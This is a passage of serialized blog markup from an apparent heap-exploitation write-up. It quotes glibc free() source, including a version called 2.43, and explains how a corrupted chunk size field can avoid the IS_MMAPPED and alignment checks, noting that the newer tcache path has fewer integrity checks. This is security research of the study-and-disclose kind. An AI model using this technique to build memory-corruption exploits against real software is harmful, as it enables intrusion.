",{"type":21,"tag":85,"props":127104,"children":127105},{"style":169},[127106],{"type":26,"value":741},{"type":21,"tag":85,"props":127108,"children":127109},{"style":1021},[127110],{"type":26,"value":127111}," arena_for_chunk",{"type":21,"tag":85,"props":127113,"children":127114},{"style":114},[127115],{"type":26,"value":127052},{"type":21,"tag":85,"props":127117,"children":127118},{"class":87,"line":3246},[127119,127124,127129,127133],{"type":21,"tag":85,"props":127120,"children":127121},{"style":1021},[127122],{"type":26,"value":127123},"      _int_free",{"type":21,"tag":85,"props":127125,"children":127126},{"style":114},[127127],{"type":26,"value":127128}," (ar_ptr, p, ",{"type":21,"tag":85,"props":127130,"children":127131},{"style":2285},[127132],{"type":26,"value":4789},{"type":21,"tag":85,"props":127134,"children":127135},{"style":114},[127136],{"type":26,"value":777},{"type":21,"tag":85,"props":127138,"children":127139},{"class":87,"line":3255},[127140],{"type":21,"tag":85,"props":127141,"children":127142},{"style":114},[127143],{"type":26,"value":507},{"type":21,"tag":85,"props":127145,"children":127146},{"class":87,"line":3286},[127147],{"type":21,"tag":85,"props":127148,"children":127149},{"style":114},[127150],{"type":26,"value":2671},{"type":21,"tag":22,"props":127152,"children":127153},{},[127154,127156,127161,127163,127168,127170,127176,127178,127184,127186,127191,127193,127198,127200,127205,127207,127212],{"type":26,"value":127155},"We can see that if the ",{"type":21,"tag":66,"props":127157,"children":127159},{"className":127158},[],[127160],{"type":26,"value":126891},{"type":26,"value":127162}," bit is set in the corrupted ",{"type":21,"tag":66,"props":127164,"children":127166},{"className":127165},[],[127167],{"type":26,"value":124722},{"type":26,"value":127169}," field, glibc will call ",{"type":21,"tag":66,"props":127171,"children":127173},{"className":127172},[],[127174],{"type":26,"value":127175},"munmap_chunk",{"type":26,"value":127177},", which internally checks that ",{"type":21,"tag":66,"props":127179,"children":127181},{"className":127180},[],[127182],{"type":26,"value":127183},"prev_size + size",{"type":26,"value":127185}," is page-aligned. To reach the ",{"type":21,"tag":66,"props":127187,"children":127189},{"className":127188},[],[127190],{"type":26,"value":124722},{"type":26,"value":127192}," field, we first have to overwrite the entire 8-byte ",{"type":21,"tag":66,"props":127194,"children":127196},{"className":127195},[],[127197],{"type":26,"value":126841},{"type":26,"value":127199}," field with uncontrolled data. The chance that a corrupted ",{"type":21,"tag":66,"props":127201,"children":127203},{"className":127202},[],[127204],{"type":26,"value":127183},{"type":26,"value":127206}," value still ends up page-aligned is extremely small. In practice, if ",{"type":21,"tag":66,"props":127208,"children":127210},{"className":127209},[],[127211],{"type":26,"value":126891},{"type":26,"value":127213}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":21,"tag":22,"props":127215,"children":127216},{},[127217,127219,127224,127226,127232],{"type":26,"value":127218},"Assuming ",{"type":21,"tag":66,"props":127220,"children":127222},{"className":127221},[],[127223],{"type":26,"value":126891},{"type":26,"value":127225}," is not set, execution continues into ",{"type":21,"tag":66,"props":127227,"children":127229},{"className":127228},[],[127230],{"type":26,"value":127231},"_int_free",{"type":26,"value":172},{"type":21,"tag":75,"props":127234,"children":127236},{"code":127235,"language":3918,"meta":7,"className":16935,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[127237],{"type":21,"tag":66,"props":127238,"children":127239},{"__ignoreMap":7},[127240,127252,127295,127302,127310,127317,127338,127345,127353,127361,127369,127377,127441,127476,127497,127505,127513,127561,127581,127588,127601,127608],{"type":21,"tag":85,"props":127241,"children":127242},{"class":87,"line":88},[127243,127247],{"type":21,"tag":85,"props":127244,"children":127245},{"style":102},[127246],{"type":26,"value":51500},{"type":21,"tag":85,"props":127248,"children":127249},{"style":102},[127250],{"type":26,"value":127251}," void\n",{"type":21,"tag":85,"props":127253,"children":127254},{"class":87,"line":98},[127255,127259,127264,127269,127274,127278,127282,127286,127291],{"type":21,"tag":85,"props":127256,"children":127257},{"style":1021},[127258],{"type":26,"value":127231},{"type":21,"tag":85,"props":127260,"children":127261},{"style":114},[127262],{"type":26,"value":127263}," (mstate ",{"type":21,"tag":85,"props":127265,"children":127266},{"style":120},[127267],{"type":26,"value":127268},"av",{"type":21,"tag":85,"props":127270,"children":127271},{"style":114},[127272],{"type":26,"value":127273},", mchunkptr ",{"type":21,"tag":85,"props":127275,"children":127276},{"style":120},[127277],{"type":26,"value":22},{"type":21,"tag":85,"props":127279,"children":127280},{"style":114},[127281],{"type":26,"value":256},{"type":21,"tag":85,"props":127283,"children":127284},{"style":102},[127285],{"type":26,"value":19473},{"type":21,"tag":85,"props":127287,"children":127288},{"style":120},[127289],{"type":26,"value":127290}," have_lock",{"type":21,"tag":85,"props":127292,"children":127293},{"style":114},[127294],{"type":26,"value":2485},{"type":21,"tag":85,"props":127296,"children":127297},{"class":87,"line":151},[127298],{"type":21,"tag":85,"props":127299,"children":127300},{"style":114},[127301],{"type":26,"value":11296},{"type":21,"tag":85,"props":127303,"children":127304},{"class":87,"line":160},[127305],{"type":21,"tag":85,"props":127306,"children":127307},{"style":114},[127308],{"type":26,"value":127309},"  INTERNAL_SIZE_T size;\n",{"type":21,"tag":85,"props":127311,"children":127312},{"class":87,"line":185},[127313],{"type":21,"tag":85,"props":127314,"children":127315},{"emptyLinePlaceholder":16},[127316],{"type":26,"value":703},{"type":21,"tag":85,"props":127318,"children":127319},{"class":87,"line":501},[127320,127325,127329,127334],{"type":21,"tag":85,"props":127321,"children":127322},{"style":114},[127323],{"type":26,"value":127324},"  size ",{"type":21,"tag":85,"props":127326,"children":127327},{"style":169},[127328],{"type":26,"value":741},{"type":21,"tag":85,"props":127330,"children":127331},{"style":1021},[127332],{"type":26,"value":127333}," chunksize",{"type":21,"tag":85,"props":127335,"children":127336},{"style":114},[127337],{"type":26,"value":127052},{"type":21,"tag":85,"props":127339,"children":127340},{"class":87,"line":697},[127341],{"type":21,"tag":85,"props":127342,"children":127343},{"emptyLinePlaceholder":16},[127344],{"type":26,"value":703},{"type":21,"tag":85,"props":127346,"children":127347},{"class":87,"line":706},[127348],{"type":21,"tag":85,"props":127349,"children":127350},{"style":92},[127351],{"type":26,"value":127352},"  /* Little security check which won't hurt performance: the\n",{"type":21,"tag":85,"props":127354,"children":127355},{"class":87,"line":1100},[127356],{"type":21,"tag":85,"props":127357,"children":127358},{"style":92},[127359],{"type":26,"value":127360},"     allocator never wraps around at the end of the address space.\n",{"type":21,"tag":85,"props":127362,"children":127363},{"class":87,"line":1339},[127364],{"type":21,"tag":85,"props":127365,"children":127366},{"style":92},[127367],{"type":26,"value":127368},"     Therefore we can exclude some size values which might appear\n",{"type":21,"tag":85,"props":127370,"children":127371},{"class":87,"line":1348},[127372],{"type":21,"tag":85,"props":127373,"children":127374},{"style":92},[127375],{"type":26,"value":127376},"     here by accident or by \"design\" from some intruder.  */\n",{"type":21,"tag":85,"props":127378,"children":127379},{"class":87,"line":1386},[127380,127384,127388,127393,127398,127403,127408,127412,127416,127420,127424,127428,127433,127437],{"type":21,"tag":85,"props":127381,"children":127382},{"style":2885},[127383],{"type":26,"value":31839},{"type":21,"tag":85,"props":127385,"children":127386},{"style":114},[127387],{"type":26,"value":717},{"type":21,"tag":85,"props":127389,"children":127390},{"style":1021},[127391],{"type":26,"value":127392},"__builtin_expect",{"type":21,"tag":85,"props":127394,"children":127395},{"style":114},[127396],{"type":26,"value":127397}," ((",{"type":21,"tag":85,"props":127399,"children":127400},{"style":102},[127401],{"type":26,"value":127402},"uintptr_t",{"type":21,"tag":85,"props":127404,"children":127405},{"style":114},[127406],{"type":26,"value":127407},") p ",{"type":21,"tag":85,"props":127409,"children":127410},{"style":169},[127411],{"type":26,"value":10877},{"type":21,"tag":85,"props":127413,"children":127414},{"style":114},[127415],{"type":26,"value":717},{"type":21,"tag":85,"props":127417,"children":127418},{"style":102},[127419],{"type":26,"value":127402},{"type":21,"tag":85,"props":127421,"children":127422},{"style":114},[127423],{"type":26,"value":736},{"type":21,"tag":85,"props":127425,"children":127426},{"style":169},[127427],{"type":26,"value":5097},{"type":21,"tag":85,"props":127429,"children":127430},{"style":114},[127431],{"type":26,"value":127432},"size, ",{"type":21,"tag":85,"props":127434,"children":127435},{"style":2285},[127436],{"type":26,"value":4789},{"type":21,"tag":85,"props":127438,"children":127439},{"style":114},[127440],{"type":26,"value":2485},{"type":21,"tag":85,"props":127442,"children":127443},{"class":87,"line":1394},[127444,127449,127454,127458,127463,127468,127472],{"type":21,"tag":85,"props":127445,"children":127446},{"style":169},[127447],{"type":26,"value":127448},"      ||",{"type":21,"tag":85,"props":127450,"children":127451},{"style":1021},[127452],{"type":26,"value":127453}," __builtin_expect",{"type":21,"tag":85,"props":127455,"children":127456},{"style":114},[127457],{"type":26,"value":717},{"type":21,"tag":85,"props":127459,"children":127460},{"style":1021},[127461],{"type":26,"value":127462},"misaligned_chunk",{"type":21,"tag":85,"props":127464,"children":127465},{"style":114},[127466],{"type":26,"value":127467}," (p), ",{"type":21,"tag":85,"props":127469,"children":127470},{"style":2285},[127471],{"type":26,"value":4789},{"type":21,"tag":85,"props":127473,"children":127474},{"style":114},[127475],{"type":26,"value":20139},{"type":21,"tag":85,"props":127477,"children":127478},{"class":87,"line":1402},[127479,127484,127488,127493],{"type":21,"tag":85,"props":127480,"children":127481},{"style":1021},[127482],{"type":26,"value":127483},"    malloc_printerr",{"type":21,"tag":85,"props":127485,"children":127486},{"style":114},[127487],{"type":26,"value":717},{"type":21,"tag":85,"props":127489,"children":127490},{"style":5026},[127491],{"type":26,"value":127492},"\"free(): invalid pointer\"",{"type":21,"tag":85,"props":127494,"children":127495},{"style":114},[127496],{"type":26,"value":777},{"type":21,"tag":85,"props":127498,"children":127499},{"class":87,"line":3145},[127500],{"type":21,"tag":85,"props":127501,"children":127502},{"style":92},[127503],{"type":26,"value":127504},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":21,"tag":85,"props":127506,"children":127507},{"class":87,"line":3246},[127508],{"type":21,"tag":85,"props":127509,"children":127510},{"style":92},[127511],{"type":26,"value":127512},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":21,"tag":85,"props":127514,"children":127515},{"class":87,"line":3255},[127516,127520,127524,127529,127534,127538,127543,127547,127551,127556],{"type":21,"tag":85,"props":127517,"children":127518},{"style":2885},[127519],{"type":26,"value":31839},{"type":21,"tag":85,"props":127521,"children":127522},{"style":114},[127523],{"type":26,"value":717},{"type":21,"tag":85,"props":127525,"children":127526},{"style":1021},[127527],{"type":26,"value":127528},"__glibc_unlikely",{"type":21,"tag":85,"props":127530,"children":127531},{"style":114},[127532],{"type":26,"value":127533}," (size ",{"type":21,"tag":85,"props":127535,"children":127536},{"style":169},[127537],{"type":26,"value":117},{"type":21,"tag":85,"props":127539,"children":127540},{"style":114},[127541],{"type":26,"value":127542}," MINSIZE ",{"type":21,"tag":85,"props":127544,"children":127545},{"style":169},[127546],{"type":26,"value":22847},{"type":21,"tag":85,"props":127548,"children":127549},{"style":169},[127550],{"type":26,"value":13281},{"type":21,"tag":85,"props":127552,"children":127553},{"style":1021},[127554],{"type":26,"value":127555},"aligned_OK",{"type":21,"tag":85,"props":127557,"children":127558},{"style":114},[127559],{"type":26,"value":127560}," (size)))\n",{"type":21,"tag":85,"props":127562,"children":127563},{"class":87,"line":3286},[127564,127568,127572,127577],{"type":21,"tag":85,"props":127565,"children":127566},{"style":1021},[127567],{"type":26,"value":127483},{"type":21,"tag":85,"props":127569,"children":127570},{"style":114},[127571],{"type":26,"value":717},{"type":21,"tag":85,"props":127573,"children":127574},{"style":5026},[127575],{"type":26,"value":127576},"\"free(): invalid size\"",{"type":21,"tag":85,"props":127578,"children":127579},{"style":114},[127580],{"type":26,"value":777},{"type":21,"tag":85,"props":127582,"children":127583},{"class":87,"line":3295},[127584],{"type":21,"tag":85,"props":127585,"children":127586},{"emptyLinePlaceholder":16},[127587],{"type":26,"value":703},{"type":21,"tag":85,"props":127589,"children":127590},{"class":87,"line":3308},[127591,127596],{"type":21,"tag":85,"props":127592,"children":127593},{"style":1021},[127594],{"type":26,"value":127595},"  check_inuse_chunk",{"type":21,"tag":85,"props":127597,"children":127598},{"style":114},[127599],{"type":26,"value":127600},"(av, p);\n",{"type":21,"tag":85,"props":127602,"children":127603},{"class":87,"line":3333},[127604],{"type":21,"tag":85,"props":127605,"children":127606},{"emptyLinePlaceholder":16},[127607],{"type":26,"value":703},{"type":21,"tag":85,"props":127609,"children":127610},{"class":87,"line":3369},[127611],{"type":21,"tag":85,"props":127612,"children":127613},{"style":114},[127614],{"type":26,"value":127615},"  [...]\n",{"type":21,"tag":22,"props":127617,"children":127618},{},[127619],{"type":26,"value":127620},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":21,"tag":22,"props":127622,"children":127623},{},[127624,127626,127631,127633,127638,127640,127645,127647,127652],{"type":26,"value":127625},"The next check, however, ensures that the ",{"type":21,"tag":66,"props":127627,"children":127629},{"className":127628},[],[127630],{"type":26,"value":124722},{"type":26,"value":127632}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":21,"tag":66,"props":127634,"children":127636},{"className":127635},[],[127637],{"type":26,"value":124722},{"type":26,"value":127639}," must preserve alignment while also avoiding the ",{"type":21,"tag":66,"props":127641,"children":127643},{"className":127642},[],[127644],{"type":26,"value":126891},{"type":26,"value":127646}," bit. Under those constraints, exploiting the bug through ",{"type":21,"tag":66,"props":127648,"children":127650},{"className":127649},[],[127651],{"type":26,"value":124722},{"type":26,"value":127653}," corruption looked very unreliable at first.",{"type":21,"tag":22,"props":127655,"children":127656},{},[127657],{"type":26,"value":127658},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":21,"tag":75,"props":127660,"children":127662},{"code":127661,"language":3918,"meta":7,"className":16935,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[127663],{"type":21,"tag":66,"props":127664,"children":127665},{"__ignoreMap":7},[127666,127674,127701,127708,127715,127722,127741,127748,127768,127775,127803,127827,127834,127847,127889,127896,127904,127911,127928],{"type":21,"tag":85,"props":127667,"children":127668},{"class":87,"line":88},[127669],{"type":21,"tag":85,"props":127670,"children":127671},{"style":102},[127672],{"type":26,"value":127673},"void\n",{"type":21,"tag":85,"props":127675,"children":127676},{"class":87,"line":98},[127677,127681,127685,127689,127693,127697],{"type":21,"tag":85,"props":127678,"children":127679},{"style":1021},[127680],{"type":26,"value":126939},{"type":21,"tag":85,"props":127682,"children":127683},{"style":114},[127684],{"type":26,"value":717},{"type":21,"tag":85,"props":127686,"children":127687},{"style":102},[127688],{"type":26,"value":52083},{"type":21,"tag":85,"props":127690,"children":127691},{"style":169},[127692],{"type":26,"value":10231},{"type":21,"tag":85,"props":127694,"children":127695},{"style":120},[127696],{"type":26,"value":41113},{"type":21,"tag":85,"props":127698,"children":127699},{"style":114},[127700],{"type":26,"value":2485},{"type":21,"tag":85,"props":127702,"children":127703},{"class":87,"line":151},[127704],{"type":21,"tag":85,"props":127705,"children":127706},{"style":114},[127707],{"type":26,"value":11296},{"type":21,"tag":85,"props":127709,"children":127710},{"class":87,"line":160},[127711],{"type":21,"tag":85,"props":127712,"children":127713},{"style":114},[127714],{"type":26,"value":126982},{"type":21,"tag":85,"props":127716,"children":127717},{"class":87,"line":185},[127718],{"type":21,"tag":85,"props":127719,"children":127720},{"emptyLinePlaceholder":16},[127721],{"type":26,"value":703},{"type":21,"tag":85,"props":127723,"children":127724},{"class":87,"line":501},[127725,127729,127733,127737],{"type":21,"tag":85,"props":127726,"children":127727},{"style":114},[127728],{"type":26,"value":126997},{"type":21,"tag":85,"props":127730,"children":127731},{"style":169},[127732],{"type":26,"value":741},{"type":21,"tag":85,"props":127734,"children":127735},{"style":1021},[127736],{"type":26,"value":127006},{"type":21,"tag":85,"props":127738,"children":127739},{"style":114},[127740],{"type":26,"value":127011},{"type":21,"tag":85,"props":127742,"children":127743},{"class":87,"line":697},[127744],{"type":21,"tag":85,"props":127745,"children":127746},{"emptyLinePlaceholder":16},[127747],{"type":26,"value":703},{"type":21,"tag":85,"props":127749,"children":127750},{"class":87,"line":706},[127751,127756,127760,127764],{"type":21,"tag":85,"props":127752,"children":127753},{"style":114},[127754],{"type":26,"value":127755},"  INTERNAL_SIZE_T size ",{"type":21,"tag":85,"props":127757,"children":127758},{"style":169},[127759],{"type":26,"value":741},{"type":21,"tag":85,"props":127761,"children":127762},{"style":1021},[127763],{"type":26,"value":127333},{"type":21,"tag":85,"props":127765,"children":127766},{"style":114},[127767],{"type":26,"value":127052},{"type":21,"tag":85,"props":127769,"children":127770},{"class":87,"line":1100},[127771],{"type":21,"tag":85,"props":127772,"children":127773},{"emptyLinePlaceholder":16},[127774],{"type":26,"value":703},{"type":21,"tag":85,"props":127776,"children":127777},{"class":87,"line":1339},[127778,127782,127786,127790,127794,127798],{"type":21,"tag":85,"props":127779,"children":127780},{"style":2885},[127781],{"type":26,"value":31839},{"type":21,"tag":85,"props":127783,"children":127784},{"style":114},[127785],{"type":26,"value":717},{"type":21,"tag":85,"props":127787,"children":127788},{"style":1021},[127789],{"type":26,"value":127528},{"type":21,"tag":85,"props":127791,"children":127792},{"style":114},[127793],{"type":26,"value":717},{"type":21,"tag":85,"props":127795,"children":127796},{"style":1021},[127797],{"type":26,"value":127462},{"type":21,"tag":85,"props":127799,"children":127800},{"style":114},[127801],{"type":26,"value":127802}," (p)))\n",{"type":21,"tag":85,"props":127804,"children":127805},{"class":87,"line":1348},[127806,127810,127815,127819,127823],{"type":21,"tag":85,"props":127807,"children":127808},{"style":2885},[127809],{"type":26,"value":17411},{"type":21,"tag":85,"props":127811,"children":127812},{"style":1021},[127813],{"type":26,"value":127814}," malloc_printerr_tail",{"type":21,"tag":85,"props":127816,"children":127817},{"style":114},[127818],{"type":26,"value":717},{"type":21,"tag":85,"props":127820,"children":127821},{"style":5026},[127822],{"type":26,"value":127492},{"type":21,"tag":85,"props":127824,"children":127825},{"style":114},[127826],{"type":26,"value":777},{"type":21,"tag":85,"props":127828,"children":127829},{"class":87,"line":1386},[127830],{"type":21,"tag":85,"props":127831,"children":127832},{"emptyLinePlaceholder":16},[127833],{"type":26,"value":703},{"type":21,"tag":85,"props":127835,"children":127836},{"class":87,"line":1394},[127837,127842],{"type":21,"tag":85,"props":127838,"children":127839},{"style":2885},[127840],{"type":26,"value":127841},"#if",{"type":21,"tag":85,"props":127843,"children":127844},{"style":1021},[127845],{"type":26,"value":127846}," USE_TCACHE\n",{"type":21,"tag":85,"props":127848,"children":127849},{"class":87,"line":1402},[127850,127854,127858,127863,127867,127871,127876,127880,127885],{"type":21,"tag":85,"props":127851,"children":127852},{"style":2885},[127853],{"type":26,"value":31839},{"type":21,"tag":85,"props":127855,"children":127856},{"style":114},[127857],{"type":26,"value":717},{"type":21,"tag":85,"props":127859,"children":127860},{"style":1021},[127861],{"type":26,"value":127862},"__glibc_likely",{"type":21,"tag":85,"props":127864,"children":127865},{"style":114},[127866],{"type":26,"value":127533},{"type":21,"tag":85,"props":127868,"children":127869},{"style":169},[127870],{"type":26,"value":117},{"type":21,"tag":85,"props":127872,"children":127873},{"style":120},[127874],{"type":26,"value":127875}," mp_",{"type":21,"tag":85,"props":127877,"children":127878},{"style":114},[127879],{"type":26,"value":73},{"type":21,"tag":85,"props":127881,"children":127882},{"style":120},[127883],{"type":26,"value":127884},"tcache_max_bytes",{"type":21,"tag":85,"props":127886,"children":127887},{"style":114},[127888],{"type":26,"value":20139},{"type":21,"tag":85,"props":127890,"children":127891},{"class":87,"line":3145},[127892],{"type":21,"tag":85,"props":127893,"children":127894},{"style":114},[127895],{"type":26,"value":29630},{"type":21,"tag":85,"props":127897,"children":127898},{"class":87,"line":3246},[127899],{"type":21,"tag":85,"props":127900,"children":127901},{"style":114},[127902],{"type":26,"value":127903},"      [...]\n",{"type":21,"tag":85,"props":127905,"children":127906},{"class":87,"line":3255},[127907],{"type":21,"tag":85,"props":127908,"children":127909},{"emptyLinePlaceholder":16},[127910],{"type":26,"value":703},{"type":21,"tag":85,"props":127912,"children":127913},{"class":87,"line":3286},[127914,127918,127923],{"type":21,"tag":85,"props":127915,"children":127916},{"style":2885},[127917],{"type":26,"value":39805},{"type":21,"tag":85,"props":127919,"children":127920},{"style":1021},[127921],{"type":26,"value":127922}," tcache_put",{"type":21,"tag":85,"props":127924,"children":127925},{"style":114},[127926],{"type":26,"value":127927}," (p, tc_idx);\n",{"type":21,"tag":85,"props":127929,"children":127930},{"class":87,"line":3295},[127931],{"type":21,"tag":85,"props":127932,"children":127933},{"style":114},[127934],{"type":26,"value":507},{"type":21,"tag":22,"props":127936,"children":127937},{},[127938,127940,127945],{"type":26,"value":127939},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":21,"tag":66,"props":127941,"children":127943},{"className":127942},[],[127944],{"type":26,"value":124722},{"type":26,"value":127946}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":21,"tag":22,"props":127948,"children":127949},{},[127950,127952,127958,127959,127964],{"type":26,"value":127951},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":21,"tag":66,"props":127953,"children":127955},{"className":127954},[],[127956],{"type":26,"value":127957},"check_inuse_chunk",{"type":26,"value":717},{"type":21,"tag":66,"props":127960,"children":127962},{"className":127961},[],[127963],{"type":26,"value":124850},{"type":26,"value":24386},{"type":21,"tag":75,"props":127966,"children":127968},{"code":127967,"language":3918,"meta":7,"className":16935,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[127969],{"type":21,"tag":66,"props":127970,"children":127971},{"__ignoreMap":7},[127972,127979,128006,128013,128020,128027,128046,128053,128072,128079,128106,128129,128136,128162,128169,128180,128237],{"type":21,"tag":85,"props":127973,"children":127974},{"class":87,"line":88},[127975],{"type":21,"tag":85,"props":127976,"children":127977},{"style":102},[127978],{"type":26,"value":127673},{"type":21,"tag":85,"props":127980,"children":127981},{"class":87,"line":98},[127982,127986,127990,127994,127998,128002],{"type":21,"tag":85,"props":127983,"children":127984},{"style":1021},[127985],{"type":26,"value":126939},{"type":21,"tag":85,"props":127987,"children":127988},{"style":114},[127989],{"type":26,"value":717},{"type":21,"tag":85,"props":127991,"children":127992},{"style":102},[127993],{"type":26,"value":52083},{"type":21,"tag":85,"props":127995,"children":127996},{"style":169},[127997],{"type":26,"value":10231},{"type":21,"tag":85,"props":127999,"children":128000},{"style":120},[128001],{"type":26,"value":41113},{"type":21,"tag":85,"props":128003,"children":128004},{"style":114},[128005],{"type":26,"value":2485},{"type":21,"tag":85,"props":128007,"children":128008},{"class":87,"line":151},[128009],{"type":21,"tag":85,"props":128010,"children":128011},{"style":114},[128012],{"type":26,"value":11296},{"type":21,"tag":85,"props":128014,"children":128015},{"class":87,"line":160},[128016],{"type":21,"tag":85,"props":128017,"children":128018},{"style":114},[128019],{"type":26,"value":126982},{"type":21,"tag":85,"props":128021,"children":128022},{"class":87,"line":185},[128023],{"type":21,"tag":85,"props":128024,"children":128025},{"emptyLinePlaceholder":16},[128026],{"type":26,"value":703},{"type":21,"tag":85,"props":128028,"children":128029},{"class":87,"line":501},[128030,128034,128038,128042],{"type":21,"tag":85,"props":128031,"children":128032},{"style":114},[128033],{"type":26,"value":126997},{"type":21,"tag":85,"props":128035,"children":128036},{"style":169},[128037],{"type":26,"value":741},{"type":21,"tag":85,"props":128039,"children":128040},{"style":1021},[128041],{"type":26,"value":127006},{"type":21,"tag":85,"props":128043,"children":128044},{"style":114},[128045],{"type":26,"value":127011},{"type":21,"tag":85,"props":128047,"children":128048},{"class":87,"line":697},[128049],{"type":21,"tag":85,"props":128050,"children":128051},{"emptyLinePlaceholder":16},[128052],{"type":26,"value":703},{"type":21,"tag":85,"props":128054,"children":128055},{"class":87,"line":706},[128056,128060,128064,128068],{"type":21,"tag":85,"props":128057,"children":128058},{"style":114},[128059],{"type":26,"value":127755},{"type":21,"tag":85,"props":128061,"children":128062},{"style":169},[128063],{"type":26,"value":741},{"type":21,"tag":85,"props":128065,"children":128066},{"style":1021},[128067],{"type":26,"value":127333},{"type":21,"tag":85,"props":128069,"children":128070},{"style":114},[128071],{"type":26,"value":127052},{"type":21,"tag":85,"props":128073,"children":128074},{"class":87,"line":1100},[128075],{"type":21,"tag":85,"props":128076,"children":128077},{"emptyLinePlaceholder":16},[128078],{"type":26,"value":703},{"type":21,"tag":85,"props":128080,"children":128081},{"class":87,"line":1339},[128082,128086,128090,128094,128098,128102],{"type":21,"tag":85,"props":128083,"children":128084},{"style":2885},[128085],{"type":26,"value":31839},{"type":21,"tag":85,"props":128087,"children":128088},{"style":114},[128089],{"type":26,"value":717},{"type":21,"tag":85,"props":128091,"children":128092},{"style":1021},[128093],{"type":26,"value":127528},{"type":21,"tag":85,"props":128095,"children":128096},{"style":114},[128097],{"type":26,"value":717},{"type":21,"tag":85,"props":128099,"children":128100},{"style":1021},[128101],{"type":26,"value":127462},{"type":21,"tag":85,"props":128103,"children":128104},{"style":114},[128105],{"type":26,"value":127802},{"type":21,"tag":85,"props":128107,"children":128108},{"class":87,"line":1348},[128109,128113,128117,128121,128125],{"type":21,"tag":85,"props":128110,"children":128111},{"style":2885},[128112],{"type":26,"value":17411},{"type":21,"tag":85,"props":128114,"children":128115},{"style":1021},[128116],{"type":26,"value":127814},{"type":21,"tag":85,"props":128118,"children":128119},{"style":114},[128120],{"type":26,"value":717},{"type":21,"tag":85,"props":128122,"children":128123},{"style":5026},[128124],{"type":26,"value":127492},{"type":21,"tag":85,"props":128126,"children":128127},{"style":114},[128128],{"type":26,"value":777},{"type":21,"tag":85,"props":128130,"children":128131},{"class":87,"line":1386},[128132],{"type":21,"tag":85,"props":128133,"children":128134},{"emptyLinePlaceholder":16},[128135],{"type":26,"value":703},{"type":21,"tag":85,"props":128137,"children":128138},{"class":87,"line":1394},[128139,128143,128147,128152,128157],{"type":21,"tag":85,"props":128140,"children":128141},{"style":1021},[128142],{"type":26,"value":127595},{"type":21,"tag":85,"props":128144,"children":128145},{"style":114},[128146],{"type":26,"value":717},{"type":21,"tag":85,"props":128148,"children":128149},{"style":1021},[128150],{"type":26,"value":128151},"arena_for_chunk",{"type":21,"tag":85,"props":128153,"children":128154},{"style":114},[128155],{"type":26,"value":128156}," (p), p);",{"type":21,"tag":85,"props":128158,"children":128159},{"style":92},[128160],{"type":26,"value":128161},"             // [1]\n",{"type":21,"tag":85,"props":128163,"children":128164},{"class":87,"line":1402},[128165],{"type":21,"tag":85,"props":128166,"children":128167},{"emptyLinePlaceholder":16},[128168],{"type":26,"value":703},{"type":21,"tag":85,"props":128170,"children":128171},{"class":87,"line":3145},[128172,128176],{"type":21,"tag":85,"props":128173,"children":128174},{"style":2885},[128175],{"type":26,"value":127841},{"type":21,"tag":85,"props":128177,"children":128178},{"style":1021},[128179],{"type":26,"value":127846},{"type":21,"tag":85,"props":128181,"children":128182},{"class":87,"line":3246},[128183,128187,128191,128195,128199,128203,128207,128211,128215,128219,128224,128228,128233],{"type":21,"tag":85,"props":128184,"children":128185},{"style":2885},[128186],{"type":26,"value":31839},{"type":21,"tag":85,"props":128188,"children":128189},{"style":114},[128190],{"type":26,"value":717},{"type":21,"tag":85,"props":128192,"children":128193},{"style":1021},[128194],{"type":26,"value":127862},{"type":21,"tag":85,"props":128196,"children":128197},{"style":114},[128198],{"type":26,"value":127533},{"type":21,"tag":85,"props":128200,"children":128201},{"style":169},[128202],{"type":26,"value":117},{"type":21,"tag":85,"props":128204,"children":128205},{"style":120},[128206],{"type":26,"value":127875},{"type":21,"tag":85,"props":128208,"children":128209},{"style":114},[128210],{"type":26,"value":73},{"type":21,"tag":85,"props":128212,"children":128213},{"style":120},[128214],{"type":26,"value":127884},{"type":21,"tag":85,"props":128216,"children":128217},{"style":169},[128218],{"type":26,"value":14603},{"type":21,"tag":85,"props":128220,"children":128221},{"style":114},[128222],{"type":26,"value":128223}," tcache ",{"type":21,"tag":85,"props":128225,"children":128226},{"style":169},[128227],{"type":26,"value":16108},{"type":21,"tag":85,"props":128229,"children":128230},{"style":102},[128231],{"type":26,"value":128232}," 